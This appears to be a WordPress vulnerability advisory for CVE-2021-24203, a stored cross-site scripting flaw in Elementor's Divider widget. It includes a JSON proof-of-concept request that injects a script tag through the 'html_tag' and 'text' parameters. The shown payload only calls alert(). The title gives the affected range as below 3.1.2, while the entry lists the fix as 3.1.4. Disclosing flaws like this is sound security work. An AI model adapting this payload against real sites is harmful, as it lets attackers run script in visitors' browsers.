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WordPress Plugin Vulnerabilities

Elementor < 3.1.2 - Authenticated Stored Cross-Site Scripting (XSS) in Divider Widget

Description

In the plugin, the divider widget (includes/widgets/divider.php) accepts an ‘html_tag’ parameter. Although the element control lists a fixed set of possible html tags, it is possible for a user with Contributor or above permissions to send a modified ‘save_builder’ request with this parameter set to ‘script’ and combined with a ‘text’ parameter containing JavaScript, which will then be executed when the saved page is viewed or previewed. 

Proof of Concept

{"save_builder":{"action":"save_builder","data":{"status":"pending","elements":[{"id":"826b3e5","elType":"section","isInner":"","settings":{"ekit_all_conditions_list":[{"_id":"5971172"}],"ekit_section_parallax_multi_items":[]},"elements":[{"id":"17bf19a","elType":"column","isInner":false,"settings":{"_column_size":100,"_inline_size":null,"ekit_all_conditions_list":[{"_id":"52c5d94"}]},"elements":[{"id":"227f577","elType":"widget","isInner":false,"settings":{"look":"line_text","text":"alert(\"pwnedbydivider\");","html_tag":"script","ekit_all_conditions_list":[{"_id":"6715aca"}],"ekit_adv_tooltip_content":"Tooltip Content."},"elements":[],"widgetType":"divider"}]}]}],"settings":{"post_title":"dividerpoc","post_status":"pending"}}}} 

Affects Plugins

elementor
Fixed in version 3.1.4

References

CVE
CVE-2021-24203
URL
https://www.wordfence.com/blog/2021/03/cross-site-scripting-vulnerabilities-in-elementor-impact-over-7-million-sites/

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Ramuel Gall

Submitter

Ramuel Gall

Submitter twitter
ramuelgall
Verified

Yes

WPVDB ID
aa152ad0-5b3d-4d1f-88f4-6899a546e72e

Timeline

Publicly Published

2021-03-17 (about 1 years ago)

Added

2021-03-17 (about 1 years ago)

Last Updated

2021-03-20 (about 1 years ago)

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